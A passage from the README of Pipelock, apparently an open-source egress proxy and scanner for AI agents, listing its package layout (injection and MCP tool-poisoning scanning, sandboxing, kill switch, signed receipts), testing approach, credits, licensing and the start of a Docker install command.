scanner/ Ordered URL scanning pipeline + response injection detection
audit/ Structured JSON logging (zerolog) + event emission dispatch
proxy/ HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
mcp/ MCP proxy + bidirectional scanning + tool poisoning + chains
integrity/ MCP binary/script integrity manifests and trust workflow
discover/ IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
killswitch/ Emergency deny-all (7 sources) + port-isolated API
envelope/ Mediation envelope (RFC 8941) for sideband metadata
media/ Image metadata stripping (JPEG/PNG byte-level surgery)
normalize/ Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
receipt/ Action receipt signing + hash-chained evidence
receiptcontent/ Typed receipt content projections and exact clean-text caching
recorder/ Durable append tickets, run history and parallel group lifecycle
posture/ Posture capsule schema, signing, scoring, verify policy
session/ Session state, taint classification, task boundaries, trust overrides
rules/ Bundle loader, tier taxonomy, RequiredFeatures enforcement
sandbox/ Landlock, seccomp, netns, macOS sandbox-exec
shield/ Airlock, browser shield, SVG hardening
signing/ Ed25519 key management
integrity/ SHA256 file integrity monitoring
report/ HTML/JSON audit report generation
enterprise/ Multi-agent features (ELv2)
sdk/conformance/ Cross-implementation receipt verification test vectors
charts/ Helm chart for Kubernetes deployment
configs/ 7 built-in preset config files
docs/ Guides, references, compliance mappings
Testing
Pipelock is tested like a security product. The open-source core has unit, integration, and end-to-end tests. A separate private adversarial suite exercises attack classes against the production binary. Every bypass graduates into a regression test before release.
| Metric | Value |
|---|---|
Go tests (with -race) |
Unit, integration, and end-to-end paths |
| Coverage gate (codecov) | 91% Apache-2.0 core project, 95% patch on new code |
| Evasion coverage | Public bypass-resistance matrix + private adversarial corpus |
| Scanner hot-path overhead | Historical scanner measurements and current receipt workload results: docs/performance.md |
| CI matrix | Go 1.26 + 1.27, CodeQL, golangci-lint |
| Supply chain | SLSA provenance, CycloneDX SBOM, cosign signatures |
Run make test to verify locally. First-party benchmark evidence: the public agent-egress-bench corpus. See the live results.
Credits
- Architecture influenced by Anthropic’s Claude Code sandboxing and sandbox-runtime
- Threat model informed by OWASP Agentic AI Top 10
- See docs/comparison.md for how Pipelock relates to other tools in this space
- Security review contributions from Dylan Corrales
Contributions welcome. See CONTRIBUTING.md for guidelines.
If Pipelock is useful, please star this repository. It helps others find the project.
License
Pipelock core is licensed under the Apache License 2.0. Copyright 2026 Joshua Waldrep.
Multi-agent features (per-agent identity, budgets, and configuration isolation)
are in the enterprise/ directory, gated by the enterprise build tag and licensed
under the Elastic License 2.0 (ELv2). These features activate with a valid license key.
The open-source core works independently without paid features. All scanning, detection, and single-agent protection is free.
Pre-built release artifacts (Homebrew, GitHub releases, Docker images) include paid-tier
code that activates with a valid license key. Building from source with make build, make install, or the
repository Dockerfile produces a Community-only binary.
See LICENSE for the Apache 2.0 text and enterprise/LICENSE for the ELv2 text.
Install
docker run -p 8888:8888 -v "$(pwd)/pipelock.yaml":/config/pipelock.yaml:ro \